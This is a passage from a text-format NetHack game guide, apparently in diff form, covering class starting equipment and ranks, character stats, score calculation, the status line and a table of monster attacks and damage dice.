uncursed, or blessed. Also, since many +orders have injunctions against the shedding of blood, priests are trained in +kicking instead, and get bonuses when doing so. + + +The Rogue: +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +0 short sword | +| 6-15 uncursed +0 daggers | +| 1 uncursed or blessed +1 leather armor | +| 1 uncursed potion of sickness | +| 1 uncursed lock pick (9 charges) | +| 1 uncursed sack | +| 20% chance of 1 uncursed blindfold | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1 | Footpad | stealth | +| 2 | Footpad | | +| 3-5 | Cutpurse | | +| 6-9 | Rogue | | +| 10 | Pilferer | searching | +| 11-13 | Pilferer | | +| 14-17 | Robber | | +| 18-21 | Burglar | | +| 22-25 | Filcher | | +| 26-29 | Magsman | | +| 30 | Thief | | +----------------------------------------------------- +Alignment: Chaotic + +The rogue is an outlaw, a bandit who makes his living off of the misery of +others. Killing, maiming, and despoiling passing strangers gives a rogue +great glee. + + +The Samurai +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +0 katana (long sword) | +| 1 uncursed or blessed +0 wakizashi (short sword) | +| 9 uncursed or blessed shurikens (throwing stars) | +| 1 uncursed or blessed +0 splint mail | +| 3 uncursed or blessed fortune cookies | +| 20% chance of 1 uncursed blindfold | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1 | Chigo | speed | +| 2 | Chigo | | +| 3-5 | Bushi | | +| 6-13 | Genin | | +| 14 | Chunin | | +| 15 | Chunin | stealth | +| 16-21 | Chunin | | +| 22-30 | Jonin | | +----------------------------------------------------- +Alignment: Lawful + +The samurai is an ancient order of Japanese warrior, the oriental equivalent +of a european knight. The samurai follows the code of bushido, much like the +knight follows the code of chivalry. + +Samurai get bonuses when kicking due to their martial arts training. + + +The Tourist +----------------------------------------------------- +| Starting Equipment: | +| 21-40 uncursed or blessed +2 darts | +| 10 uncursed random food items | +| 2 uncursed or blessed potions of extra healing | +| 4 uncursed or blessed scrolls of magic mapping | +| 1 uncursed expensive camera | +| 1 uncursed or blessed +0 hawaiian shirt | +| 1 uncursed credit card | +| 4% chance of 1 uncursed tin opener - otherwise | +| 4% chance of 1 uncursed magic marker - otherwise | +| 4% chance of 1 uncursed leash | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1-2 | Rambler | | +| 3-5 | Sightseer | | +| 6-9 | Excursionist | | +| 10 | Peregrinator | searching | +| 11-13 | Peregrinator | | +| 14-17 | Traveler | | +| 18-19 | Journeyer | | +| 20-21 | Journeyer | poison resistance | +| 22-25 | Voyager | | +| 26-29 | Explorer | | +| 30 | Adventurer | | +----------------------------------------------------- +Alignment: Neutral + +"Oh Wanda! Take a look at that beautiful lake! (*CLICK*)" Tourists are just +what they sound like - loud, hungry, overweight people carrying cameras and +wearing ugly clothing who have no business being where they are. As +adventurers, it must be said that playing a tourist is truly a challenge. + + +The Valkyrie +----------------------------------------------------- +| Starting Equipment: | +| 1 uncursed or blessed +1 long sword | +| 1 uncursed or blessed +0 dagger | +| 1 uncursed or blessed +3 small shield | +| 1 uncursed food ration | +| 17% chance of 1 uncursed lamp | +|---------------------------------------------------| +| Level | Title | Intrinsics | +|---------------------------------------------------| +| 1 | Stripling | stealth, cold res. | +| 2 | Stripling | | +| 3-5 | Skirmisher | | +| 6 | Fighter | | +| 7 | Fighter | speed | +| 8-9 | Fighter | | +| 10-13 | Woman-at-arms | | +| 14-17 | Warrior | | +| 18-21 | Swashbuckler | | +| 22-25 | Heroine | | +| 26-29 | Champion | | +| 30 | Lady | | +----------------------------------------------------- +Alignment: Chaotic + +These women warriors out of norse mythology are among the fiercest fighters +known. This, of course, is because their main mission in life is to fight +glorious battles and then escort the fallen warriors to the halls of +Valhalla. + + +The Wizard +------------------------------------------------------ +| Starting Equipment: | +| 1 blessed +1 athame | +| 1 uncursed or blessed +0 cloak of magic resistance | +| 1 uncursed or blessed random wand * | +| 2 uncursed or blessed random rings * | +| 3 uncursed or blessed random potions * | +| 3 uncursed or blessed random scrolls * | +| 1 uncursed or blessed random spellbook * | +| 20% chance of 1 uncursed magic marker | +| 20% chance of 1 uncursed blindfold | +|----------------------------------------------------| +| Level | Title | Intrinsics | +|----------------------------------------------------| +| 1-2 | Evoker | | +| 3-5 | Conjurer | | +| 6-9 | Thaumaturge | | +| 10-13 | Magician | | +| 14 | Enchanter | | +| 15 | Enchanter | warning | +| 16 | Enchanter | | +| 17 | Enchanter | teleport control | +| 18-21 | Sorcerer | | +| 22-25 | Necromancer | | +| 26-29 | Wizard | | +| 30 | Mage | | +------------------------------------------------------ +Alignment: Neutral + +Wizards are considered by many to be a difficult character to play, because +they are very poor fighters when they start. However, with a little bit of +luck, a wizard can end up being one of the most powerful characters in the +game. + + +* There some are limitations on the generation of random magic items. These +are delineated as follows: + +1. No "useless" items will be generated. The following items are considered +(by the game) to be useless items: + potion of hallucination + scroll of amnesia + scroll of fire + ring of aggravate monster + ring of hunger + wand of nothing + +2. No ring of levitation will be generated. + +3. It is impossible to begin the game with both polymorph and polymorph +control. In other words, if your character has a ring, wand, or spellbook of +polymorph, he/she will not have a ring of polymorph control, and vice-versa. + +4. Two of the same ring will not be generated. + +----------------------------------------------------------------------------- +Character Stats: + +The following is information about each of the major character stats. They +are listed in the order in which they appear on the status line - not in +alphabetical order. All stats can be increased by quaffing potions of gain +ability. + +St (Strength): --------------------- +Strength affects various aspects of combat in nethack |St. |Hit|Dam | +(see the HIT PROBABILITY and DAMAGE sections for |-------------------| +details on how these bonuses work). Additionally, |01-05 |-2 | -1 | +strength affects your carrying capacity (see CARRYING |06-07 |-1 | 0 | +CAPACITY section for more details). Also, the |08-15 | 0 | 0 | +distance you can throw objects, your chances of |16 | 0 | +1 | +bashing down a door or kicking open a lock, and your |17 |+1 | +1 | +chances of opening a stuck door (among other things) |18 |+1 | +2 | +are affected by your strength. It is possible to |18/01-18/50|+1 | +3 | +increase strength by eating royal jelly, giant |18/51-18/75|+2 | +3 | +corpses, or wearing gauntlets of power. |18/76-18/90|+2 | +4 | + |18/91-18/99|+2 | +5 | + |18/**-25 |+3 | +6 | + ---------------------- +-------------------- Dx (Dexterity): +|Dx. | Mle | Msl | Your dexterity is your ability to dodge, your agility, +|------------------| and your manual dexterity, all rolled into one. +|01-03 | -3 | -3 | Dexterity affects how likely you are to hit (see HIT +|04-05 | -2 | -2 | PROBABILITY for more information). Note that on the +|06-07 | -1 | -1 | table to the right, to hit bonuses are different for +|08-14 | 0 | 0 | melee than they are for missile weapons. In other +|15 | +1 | 0 | words, if you are fighting hand to hand, you receive a +|16 | +2 | +1 | different bonus that if you are using a bow, sling, +|17 | +3 | +2 | etc.) Dexterity also affects how well you can use a +|* | * | * | harp. To increase your dexterity, wear gauntlets of +|25 | +11 | +10 | dexterity. +-------------------- +* Each bonus continues to increase by one as the stat increases by one, up to +25, which is the maximum the stat can reach. + +Co (Constitution): ---------------- +Constitution is a measure of how healthy you are. |Co. |HP+| +Constitution affects how quickly your character heals, but |--------------| +the major benefit of constitution is extra hit points as |3 |-2 | +each level is gained. When a character gains a higher |4-6 |-1 | +experience level, the character's current and maximum hit |7-14 | 0 | +points are raised by a random amount. This random amount |15-16 |+1 | +is modified by a bonus which is determined by the |17 |+2 | +constitution of the character (see the table to the right). |18 |+3 | + ---------------- + +In (Intelligence) +Intelligence plays an important part in determining if you will be able to +memorize a spell by reading a spellbook. It also is factored into your +chances of casting any given spell that you have memorized (see MAGIC for +more details on both of these). Finally, intelligence determines how often +your power will recharge (wisdom determined how many points recharge each +time). Your intelligence can also be increased by wearing a helm of +brilliance. + +Wi (Wisdom) +Wisdom is taken into account when you pray to your god. It also affects how +many energy points you will gain when you go up an experience level, and how +many power points you will recharge each time you recharge (intelligence +affects how often they recharge). Wisdom can be increased by wearing a helm +of brilliance. + +Ch (Charisma): ------------------ +"Beauty is only skin deep." Well, in nethack beauty is |Ch. | Mod | +charisma, and charisma affects a couple of key things in |----------------| +the game. First of all, charisma affects the prices a |3-5 | *2.00 | +shopkeeper will give you in a shop (see the table to the |6-7 | *1.66 | +right for price modifiers). The other major affect is |8-10 | *1.33 | +that charisma adds to your chances of having a beneficial |11-15 | *1.00 | +encounter when faced with a succubus/incubus. It is |16-17 | *0.75 | +possible to increase charisma with a ring of adornment |18 | *0.66 | +(which nymphs happen to love). |19+ | *0.50 | + ------------------ +----------------------------------------------------------------------------- +Score: + +The following formula can be used to compute what any character's score is: + + player gold (see explanation) + + real experience (see explanation) + + max dungeon level bonus (see formula) + ------------------------------------------------------------------- + * ascension bonus (see explanation) + + gem values (see explanation) + + amulet values (see explanation) + + pet bonus (see explanation) + ------------------------------------------------------------------- + score + +Player gold: Take the amount of gold the character has in his/her + possession, and subtract 10% if the character died or was killed (not if + the character ascended, escaped, or quit). + +Real experience: This is the number of experience points that have actually + been gained from slaying monsters, not including experience points that + may have been gained via potions of gain level, eating wraith corpses, + etc. + +Max dungeon level bonus: Compute this bonus as follows: (50 * maximum + dungeon level visited) + 1000 for each level between 21 and 30 attained + (a level is considered "attained" if the maximum dungeon level visited + is greater than that level) + +Ascension bonus: If the character has ascended to demigod(dess)hood, + multiply the score computed up to this point by 2. Otherwise, just keep + it the way it is. + +Gem values: If you escaped or ascended, add the gold value of each gem + currently possessed by the character to the score (see GEMS section for + exact gold values). + +Amulet values: If you escaped or ascended, add 2 points for each amulet + possessed with a negative value (i.e. a -2 amulet of protection), add + 500 points for each non-negative amulet possessed (i.e. an amulet of + reflection), and add 5000 points if the Amulet of Yendor is in your + character's possession. + +Pet bonus: If you escaped or ascended, and you did so with pets, add the + maximum hit points of each pet. + +----------------------------------------------------------------------------- +Status Line: + + +At the bottom of the nethack screen appears a status line. This status line +(which is really two lines) will give you a lot of information about the +character being played at a glance. The following is a sample status line: + +Endiel the Evoker St:9 Dx:16 Co:15 In:15 Wi:10 Ch:13 Neutral S:132 +Dlvl:3 G:325 HP:21(35) Pw:8(11) AC:4 Xp:3/53 T:461 + +Now, item by item we will describe what each part of the status line means: + +1. "Endiel the Evoker" is the name and rank of the character. The name will +be either your account name or a name that you have chosen (see COMMON +QUESTIONS for more information about how to name your character). The rank +is dependent upon your character class (i.e. wizard, samurai, barbarian, +etc.) and your experience level (see CLASS RANKS for a list of the ranks). + +2. "St: 9 Dx:16 Co:15 In:15 Wi:10 Ch:13" is a listing of what the character's +stats are. Respectively, this line would mean that the character's strength +is 9, dexterity is 16, constitution is 15, intelligence is 15, wisdom is 10, +and charisma is 13 (see CHARACTER STATS for more information about what these +stats mean). + +3. "Neutral" is the character's alignment. Alignment can be one of three +things: "Chaotic," "Neutral," or "Good." Alignment is a tricky subject, but +in general it determines whether you tend to be on the side of "good" or +"evil" or just sit the fence, and your character's actions are judged +accordingly. Alignment is initially determined by character class, but can +also be changed during play via several different methods (see ALIGNMENT for +more details). + +4. "S:132" is the character's score. If the character were to quit the game +at this moment, the score listed would be the score received. There is a +score penalty for dying. Some compilations of nethack will not show score. +(For more information on how to compute score, see SCORE.) + +5. "Dlvl:3" means that this character is on dungeon level three, or the third +level down. In nethack, dungeon levels are counted downwards, so the first +level you encounter is level one, and then you go down through levels two, +three, four, and so on. Level fifty is the lowest level in the dungeon. + +6. "G:325" is the amount of gold ($) the character has. This character has +325 gold pieces in his/her possession. + +7. "HP:21(35)" is two measurements: the character's current and maximum hit +points (HP). The current hit points are how many you have right now, and the +maximum is what you can raise your current hit points to. Basically, hit +points are a measure of how alive you are. Your current hit points are +decreased when you are hit by a monster, caught in a trap, or do many other +things that damage you. Hit points are healed naturally over time, or can be +increased via potions of healing, praying, etc. Maximum hit points is raised +automatically whenever you go up an experience level, or may be increased via +praying, quaffing healing potions while your current hit points are equal to +the maximum, etc. + +8. "Pw:8(11)" is also two measurements: your current and maximum power. +Current power is used to cast spells that have been memorized from spell +books. It is regenerated naturally over time, or can be increased via +potions of gain energy. Maximum power is increased whenever the character +increases an experience level, or can be increased by quaffing potions of +gain energy while current energy is at maximum. + +9. "AC:4" is the character's armor class. Armor class (AC) is a measure of +how well protected the character is against blows from hostile monsters. +Armor class starts at 10, and goes downwards as it gets better. Thus, a +character with an AC of -10 would be much better than a character with an AC +of 5. AC can be improved by wearing more or better or more enchanted armor, +by wearing rings of protection, by having your deity grant you intrinsic +protection, or by other methods. + +10. "Xp:3/53" is, once again, two measurements: the character's experience +level and experience points. Experience points (always the second and larger +figure) are gained by killing monsters, quaffing potions of gain level, etc., +and are the determining factor for what your experience level is. Experience +points also affect your score. A character's experience level (or just +"level" for short) determines many other factors about the character, such as +maximum hit points, power, some intrinsics, ability to convert altars, etc. +In general, the higher the character's experience level, the better the +character is. + +11. "T:461" shows the "time," or the number of moves that the character has +made. Every time the character does anything, this counter is incremented by +one. This timer is optional, and can be turned on or off by using the "O" +key for the options command. In most compilations of nethack it is set to +off by default. + + + ---------------------------------------------------------- + | The Beasts | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Monster Attacks: + +This section details the number and types of attacks each monster has, as +well as how much damage they can do for each attack, and what type of damage +is done. Each monster can have from one to five attacks (except the mail +daemon, which doesn't attack). These attacks are listed in the order in +which they will occur, in the following format: Attack-type Damage (Damage +type) + +Attack types, damage, and damage types are explained below the chart. + + Name Attacks +----------------------------------------------------------------------------- +| acid blob | Defensive LEVd8 (Acid) | +| air elemental | Engulf 2d10 | +| ape | Claw 1d3, Claw 1d3, Bite 1d6 | +| archeologist | Weapon 1d6 | +| Asmodeus | Claw 4d4, Magic 6d6 (Cold) | +| Baalzebub | Bite 2d6 (Str.), Gaze 2d6 (Stun) | +| baby black dragon | Bite 2d6 | +| baby blue dragon | Bite 2d6 | +| baby crocodile | Bite 1d4 | +| baby gray dragon | Bite 2d6 | +| baby green dragon | Bite 2d6 | +| baby long worm | Bite 1d6 | +| baby orange dragon | Bite 2d6 | +| baby purple worm | Bite 1d6 | +| baby red dragon | Bite 2d6 | +| baby white dragon | Bite 2d6 | +| baby yellow dragon | Bite 2d6 | +| balrog | Weapon 8d4, Weapon 4d6 | +| baluchitherium | Claw 5d4, Claw 5d4 | +| barbarian | Weapon 1d6 | +| barbed devil | Claw 2d4, Claw 2d4, Sting 3d4 | +| barrow wight | Claw 1d4, Magic 0d0 (Spell), | +| | Weapon 0d0 (Drain Life) | +| bat | Bite 1d4 | +| black dragon | Breath 4d10 (Disint./Death), Bite 3d8, | +| | Claw 1d4, Claw 1d4 | +| black naga | Bite 2d6, Spit 1d25 (Acid) | +| black naga hatchling | Bite 1d4 | +| black pudding | Bite 3d8 (Rust), Defensive 0d0 (Rust) | +| black unicorn | Butt 1d12, Kick 1d6 | +| blue dragon | Breath 4d6 (Shock), Bite 3d8, Claw 1d4, | +| | Claw 1d4 | +| blue jelly | Defensive (LEV+1)d6 (Cold) | +| bone devil | Weapon 3d4, Sting 2d4 (Str.) | +| brown mold | Defensive (LEV+1)d6 (Cold) | +| brown pudding | Bite 0d0 (Decay) | +| bugbear | Weapon 2d4 | +| captain | Weapon 4d4, Weapon 4d4 | +| carnivorous ape | Claw 1d4, Claw 1d4, Hug 1d8 | +| cave spider | Bite 1d2 | +| caveman | Weapon 2d4 | +| cavewoman | Weapon 2d4 | +| Cerberus | Bite 3d6, Bite 3d6, Bite 3d6 | +| chameleon | Bite 4d2 | +| Charon | Weapon 1d8, Touch 1d8 (Paralyze) | +| clay golem | Claw 3d10 | +| cobra | Bite 2d4 (Str.), Spit 1d25 (Blind) | +| cockatrice | Bite 1d3, Touch 0d0 (Petrify), | +| | Defensive 0d0 (Petrify) | +| crocodile | Bite 4d2, Claw 1d12 | +| demilich | Touch 3d4 (Cold), Magic 0d0 (Spell) | +| Demogorgon | Magic 8d6 (Spell), Sting 1d4 (Drain Life), | +| | Claw 1d6 (Disease), Claw 1d6 (Disease) | +| demon | Weapon 1d4, Claw 1d4, Bite 1d4 | +| Dispater | Weapon 4d6, Magic 6d6 (Spell) | +| djinni | Weapon 2d8 | +| dog | Bite 1d6 | +| dust vortex | Engulf 2d8 (Blind) | +| dwarf | Weapon 1d8 | +| dwarf king | Weapon 2d6, Weapon 2d6 | +| dwarf lord | Weapon 2d4, Weapon 2d4 | +| earth elemental | Claw 4d6 | +| electric eel | Bite 4d6 (Shock), Touch 0d0 (Wrap) | +| elf | Weapon 1d8 | +| elf mummy | Claw 2d4 | +| elf zombie | Claw 1d7 | +| elf-lord | Weapon 2d4, Weapon 2d4 | +| Elvenking | Weapon 2d4, Weapon 2d | +| energy vortex | Engulf 1d6 (Shock), Engulf 0d0 (Drain Energy), | +| | Defensive (LEV+1)d4 (Shock) | +| erinyes | Weapon 2d4 (Str.) | +| ettin | Weapon 2d8, Weapon 3d6 | +| ettin mummy | Claw 2d6, Claw 2d6 | +| ettin zombie | Claw 1d10, Claw 1d10 | +| fire ant | Bite 1d4 (Fire) | +| fire elemental | Claw 3d6 (Fire), Defensive (LEV+1)d4 (Fire) | +| fire giant | Weapon 2d10 | +| fire vortex | Engulf 1d10 (Fire), Defensive (LEV+1)d4 (Fire) | +| flesh golem | Claw 2d8, Claw 2d8 | +| floating eye | Defensive (LEV+1)d70 (Paralyze) | +| fog cloud | Engulf 1d6 | +| forest centaur | Weapon 1d8, Kick 1d6 | +| freezing sphere | Explode 4d6 (Cold) | +| frost giant | Weapon 2d12 | +| garter snake | Bite 1d2 | +| gecko | Bite 1d3 | +| gelatinous cube | Touch 2d4 (Paralyze), | +| | Defensive (LEV+1)d4 (Paralyze) | +| Geryon | Claw 3d6, Claw 3d6, Sting 2d4 (Str.) | +| ghost | Touch 1d1 | +| giant | Weapon 2d10 | +| giant ant | Bite 1d4 | +| giant bat | Bite 1d6 | +| giant beetle | Bite 3d6 | +| giant eel | Bite 3d6, Touch 0d0 (Wrap) | +| giant mimic | Claw 3d6 (Stick), Claw 3d6 (Stick) | +| giant mummy | Claw 3d4, Claw 3d4 | +| giant rat | Bite 1d3 | +| giant spider | Bite 2d4 (Str.) | +| giant zombie | Claw 2d8, Claw 2d8 | +| gnome | Weapon 1d6 | +| gnome king | Weapon 2d6 | +| gnome lord | Weapon 1d8 | +| gnome mummy | Claw 1d6 | +| gnome zombie | Claw 1d5 | +| gnomish wizard | Magic 0d0 (Spell) | +| goblin | Weapon 1d4 | +| golden naga | Bite 2d6, Magic 4d6 (Spell) | +| golden naga hatchling | Bite 1d4 | +| gray dragon | Breath 4d6 (Mag. Mis.), Bite 3d8, Claw 1d4, | +| | Claw 1d4 | +| gray ooze | Bite 2d8 (Rust) | +| gray unicorn | Butt 1d12, Kick 1d6 | +| green dragon | Breath 4d6 (Str.), Bite 3d8, Claw 1d4, Claw 1d4 | +| green mold | Defensive LEVd4 (Acid) | +| Green-elf | Weapon 2d4 | +| gremlin | Claw 1d6, Claw 1d6, Bite 1d4, Claw 0d0 (Curse) | +| Grey-elf | Weapon 2d4 | +| grid bug | Bite 1d1 (Shock) | +| guard | Weapon 4d10 | +| guardian naga | Bite 1d6 (Paralyze), Hug 2d4, Spit 1d6 (Str.) | +| guardian naga hatchling | Bite 1d4 | +| healer | Weapon 1d6 | +| hell hound | Bite 3d6, Breath 3d6 (Fire) | +| hell hound pup | Bite 2d6, Breath 2d6 (Fire) | +| hezrou | Claw 1d3, Claw 1d3, Bite 4d4 | +| hill giant | Weapon 2d8 | +| hill orc | Weapon 1d6 | +| hobbit | Weapon 1d6 | +| hobgoblin | Weapon 1d6 | +| homunculus | Bite 1d3 (Sleep) | +| horned devil | Weapon 1d4, Claw 1d4, Bite 2d3, Sting 1d3 | +| housecat | Bite 1d6 | +| human | Weapon 1d6 | +| human mummy | Claw 2d4, Claw 2d4 | +| human zombie | Claw 1d8 | +| ice devil | Claw 1d4, Claw 1d4, Bite 2d4, Sting 3d4 (Cold) | +| ice troll | Claw 2d6, Claw 2d6 (Cold), Bite 2d6 | +| ice vortex | Engulf 1d6 (Cold) | +| iguana | Bite 1d4 | +| imp | Claw 1d4 | +| incubus | Bite 0d0 (Seduce), Claw 1d3, Claw 1d3 | +| iron golem | Weapon 4d10, Breath 4d6 (Str.) | +| iron piercer | Bite 3d6 | +| jabberwock | Bite 2d10, Bite 2d10, Claw 2d10, Claw 2d10 | +| jackal | Bite 1d2 | +| jackalwere | Bite 1d4 (Lycanthropy) | +| jaguar | Claw 1d4, Claw 1d4, Bite 1d8 | +| Juiblex | Engulf 4d10 (Disease), Spit 3d6 (Acid) | +| Keystone Kop | Weapon 1d4 | +| killer bee | Sting 1d3 (Str.) | +| kitten | Bite 1d6 | +| knight | Weapon 1d6 | +| kobold | Weapon 1d4 | +| kobold lord | Weapon 2d4 | +| kobold mummy | Claw 1d4 | +| kobold shaman | Magic 0d0 (Spell) | +| kobold zombie | Claw 1d4 | +| Kop Kaptain | Weapon 2d6 | +| Kop Lieutenant | Weapon 1d8 | +| Kop Sergeant | Weapon 1d6 | +| kraken | Claw 2d4, Claw 2d4, Hug 2d6 (Wrap), Bite 5d4 | +| large cat | Bite 2d4 | +| large dog | Bite 2d4 | +| large kobold | Weapon 1d6 | +| large mimic | Claw 3d4 (Stick) | +| leather golem | Claw 1d6, Claw 1d6 | +| lemure | Claw 1d3 | +| leocrotta | Claw 2d6, Bite 2d6, Claw 2d6 | +| leprechaun | Claw 1d2 (Steal $) | +| lich | Touch 1d10 (Cold), Magic 0d0 (Spell) | +| lieutenant | Weapon 3d4, Weapon 3d4 | +| little dog | Bite 1d6 | +| lizard | Bite 1d6 | +| long worm | Bite 1d4 | +| lurker above | Engulf 1d8 (Digest) | +| mail daemon | | +| manes | Claw 1d3, Claw 1d3, Bite 1d4 | +| marilith | Weapon 2d4, Weapon 2d4, Weapon 2d4, Weapon 2d4, | +| | Weapon 2d4 | +| master lich | Touch 3d6 (Cold), Magic 0d0 (Spell) | +| Medusa | Claw 1d8, Gaze 0d0 (Petrify), Bite 1d6 (Str.), | +| | Weapon 2d4 | +| minotaur | Claw 3d10, Claw 3d10, Butt 2d8 | +| Mordor orc | Weapon 1d6 | +| mountain centaur | Weapon 1d10, Kick 1d6, Kick 1d6 | +| mountain nymph | Claw 0d0 (Steal), Claw 0d0 (Seduce) | +| mumakil | Butt 4d12, Bite 2d6 | +| nalfeshnee | Claw 1d4, Claw 1d4, Bite 2d4, Magic 0d0 (Spell) | +| Nazgul | Weapon 1d4 (Drain Life), Breath 0d0 (Sleep) | +| newt | Bite 1d2 | +| nurse | Claw 2d6 (Heal) | +| ochre jelly | Engulf 3d6 (Acid), Defensive LEVd6 (Acid) | +| ogre | Weapon 2d5 | +| ogre king | Weapon 3d5 | +| ogre lord | Weapon 2d6 | +| Olog-hai | Claw 2d8, Weapon 3d6, Bite 2d6 | +| oracle | Defensive (LEV+1)d4 (Mag. Mis.) | +| orange dragon | Breath 4d25 (Sleep), Bite 3d8, Claw 1d4, | +| | Claw 1d4 | +| orc | Weapon 1d8 | +| orc mummy | Claw 1d6 | +| orc shaman | Magic 0d0 (Spell) | +| orc zombie | Claw 1d6 | +| orc-captain | Weapon 2d4, Weapon 2d4 | +| Orcus | Magic 8d6 (Spell), Weapon 3d6, Claw 3d4, | +| | Claw 3d4, Sting 2d4 (Str.) | +| owlbear | Claw 1d6, Claw 1d6, Hug 2d8 | +| pit fiend | Weapon 4d2, Weapon 4d2, Hug 2d4 | +| pit viper | Bite 1d4 (Str.), Bite 1d4 (Str.) | +| plains centaur | Weapon 1d6, Kick 1d6 | +| priest | Weapon 1d6 | +| priestess | Weapon 1d6 | +| purple worm | Bite 2d8, Engulf 1d10 (Digest) | +| python | Bite 1d4 (Str.), Hug 2d4 (Wrap) | +| quantum mechanic | Claw 1d4 (Teleport) | +| quasit | Claw 1d2 (Dex.), Claw 1d2 (Dex.), Bite 1d4 | +| queen bee | Sting 1d8 (Str.) | +| quivering blob | Touch 1d8 | +| rabid rat | Bite 2d4 (Con.) | +| ratwere | Bite 1d4 (Lycanthropy) | +| red dragon | Breath 6d6 (Fire), Bite 3d8, Claw 1d4, Claw 1d4 | +| red mold | Defensive (LEV+1)d4 (Fire) | +| red naga | Bite 2d4, Breath 2d6 (Fire) | +| red naga hatchling | Bite 1d4 | +| rock mole | Bite 1d6 | +| rock piercer | Bite 2d6 | +| rock troll | Claw 2d8, Weapon 3d6, Bite 2d6 | +| rogue | Weapon 1d6 | +| rope golem | Claw 1d6, Hug 6d1 | +| rothe | Claw 1d3, Bite 1d3, Bite 1d8 | +| rust monster | Touch 0d0 (Rust), Touch 0d0 (Rust), | +| | Defensive 0d0 (Rust) | +| samurai | Weapon 1d8 | +| scorpion | Claw 1d2, Claw 1d2, Sting 1d4 (Str.) | +| sergeant | Weapon 2d6 | +| sewer rat | Bite 1d3 | +| shopkeeper | Weapon 4d4, Weapon 4d4 | +| small mimic | Claw 3d4 | +| snake | Bite 1d6 (Str.) | +| soldier | Weapon 1d8 | +| soldier ant | Bite 2d4, Sting 3d4 (Str.) | +| spotted jelly | Defensive LEVd6 (Acid) | +| stalker | Claw 4d4 | +| steam vortex | Engulf 1d8 (Fire) | +| stone giant | Weapon 2d10 | +| stone golem | Claw 3d8 | +| straw golem | Claw 1d2, Claw 1d2 | +| succubus | Bite 0d0 (Seduce), Claw 1d3, Claw 1d3 | +| temple priest | Weapon 4d10, Kick 1d4, Magic 0d0 (Cleric Spl) | +| temple priestess | Weapon 4d10, Kick 1d4, Magic 0d0 (Cleric Spl) | +| tengu | Bite 1d7 | +| tiger | Claw 2d4, Claw 2d4, Bite 1d10 | +| titan | Weapon 2d8, Magic 0d0 (Spell) | +| titanothere | Claw 2d8 | +| tourist | Weapon 1d6 | +| trapper | Engulf 1d10 (Digest) | +| troll | Claw 4d2, Claw 4d2, Bite 2d6 | +| umber hulk | Claw 3d4, Claw 3d4, Bite 2d5, | +| | Gaze 0d0 (Confuse) | +| unarmored soldier | Weapon 1d8 | +| Uruk-hai | Weapon 1d8 | +| valkyrie | Weapon 1d8 | +| vampire | Claw 1d6, Bite 1d6 (Drain Life) | +| vampire bat | Bite 1d6, Bite 0d0 (Str.) | +| vampire lord | Claw 1d8, Bite 1d8 (Drain Life) | +| violet fungus | Touch 1d4, Touch 0d0 (Stick) | +| Vlad the Impaler | Weapon 1d6, Bite 1d6 (Drain Life) | +| vrock | Claw 1d4, Claw 1d4, Claw 1d8, Claw 1d8, | +| | Bite 1d6 | +| warg | Bite 2d6 | +| water demon | Weapon 1d3, Claw 1d3, Bite 1d3 | +| water elemental | Claw 5d6 | +| water moccasin | Bite 1d6 (Str.) | +| water nymph | Claw 0d0 (Steal), Claw 0d0 (Seduce) | +| water troll | Claw 2d8, Claw 2d8, Bite 2d6 | +| werejackal | Weapon 2d4 | +| wererat | Weapon 2d4 | +| werewolf | Weapon 2d4 | +| white dragon | Breath 4d6 (Cold), Bite 3d8, Claw 1d4, Claw 1d4 | +| white unicorn | Butt 1d12, Kick 1d6 | +| winter wolf | Bite 2d6, Breath 2d6 (Cold) | +| wizard | Weapon 1d6 | +| Wizard of Yendor | Claw 2d12 (Amulet), Magic 0d0 (Spell) | +| wolf | Bite 2d4 | +| wolfwere | Bite 2d6 (Lycanthropy) | +| wood golem | Claw 3d4 | +| wood nymph | Claw 0d0 (Steal), Claw 0d0 (Seduce) | +| Woodland-elf | Weapon 2d4 | +| wraith | Touch 1d6 (Drain Life) | +| wumpus | Bite 3d6 | +| xan | Sting 1d4 (Legs) | +| xorn | Claw 1d3, Claw 1d3, Claw 1d3, Bite 4d6 | +| Yeenoghu | Weapon 3d6, Weapon 2d8 (Confuse), | +| | Weapon 1d6 (Paralyze), Magic 2d6 (Mag. Mis.) | +| yellow dragon | Breath 4d6 (Acid), Bite 3d8, Claw 1d4, Claw 1d4 | +| yellow light | Explode 10d20 (Blind) | +| yellow mold | Defensive (LEV+1)d4 (Stun) | +| yeti | Claw 1d6, Claw 1d6, Bite 1d4 | +| zruty | Claw 3d4, Claw 3d4, Bite 3d6 | +----------------------------------------------------------------------------- + +Attack types: The various attack types possible for an attack are listed +below, with a brief explanation for each. + + Attack Type Description + ------------------------------------------------------------------------ + Bite The monster will attempt to bite you. + Breath With this attack type, the monster will breathe at you, + usually breathing a gas, liquid, fire, or the like. The + classical example of this is the fire breathing dragon + (a red dragon in nethack and most fantasy role playing + games). + Butt The monster will head-butt you, much in the same way + that a bull would, usually in order to bring a horn into + play. + Claw The monster attacks using its claws. + Defensive This attack type will only occur if you successfully + attack (i.e. hit) the monster in question. I.E. this is + a retributive strike. + Engulf The monster will attempt to engulf you. This can + involve swallowing you whole, as a purple worm would do, + or simply surrounding you, as a fog cloud would. + Explode With this attack type, the monster will literally + explode if you come within range of it, and the + explosion does the damage. + Gaze The monster will look at you in order attack. Usually + you have to meet the monster's gaze in order for the + attack to be successful. + Hug With this attack type, the monster will use a crushing + bear- like hug in order to incapacitate you as well as + prevent you from running away. + Kick The monster will kick you. For example, a horse (if it + were a nethack monster) would probably kick you. Temple + priest(ess)s also use kicking attacks. + Magic The monster will use a magic spell to attack. + Spit The monster will spit at you, and if the liquid that is + spat touches you, the attack is successful. A prime + example of this type of attack would be the spitting + cobra. + Sting The monster will attempt to sting you with a stinger. + Touch In order to successfully attack with this attack type, + the monster need only touch you. + Weapon The monster in question will use a weapon of some type + in order to do the damage listed. Thus, monsters with + this attack type will always be generated with weapons. + +Damage: Damage is listed in the format xdy. In this format, x is the number +of dice rolled to determine the damage, and y is the number of faces on each +die rolled. Thus, if '1d6' were listed, it would mean that one six-sided die +would be rolled to determine the damage, giving a possible range of 1-6. If +'3d8' were listed, it would mean that three eight-sided dice would be rolled +to determine the damage, giving a possible range of 3-24. + +Note: where "LEV" is listed (i.e. "LEVd4" or "(LEV+1)d4"), substitute the +monster's level. + +Note that with some damage types, the damage indicated here will not be used 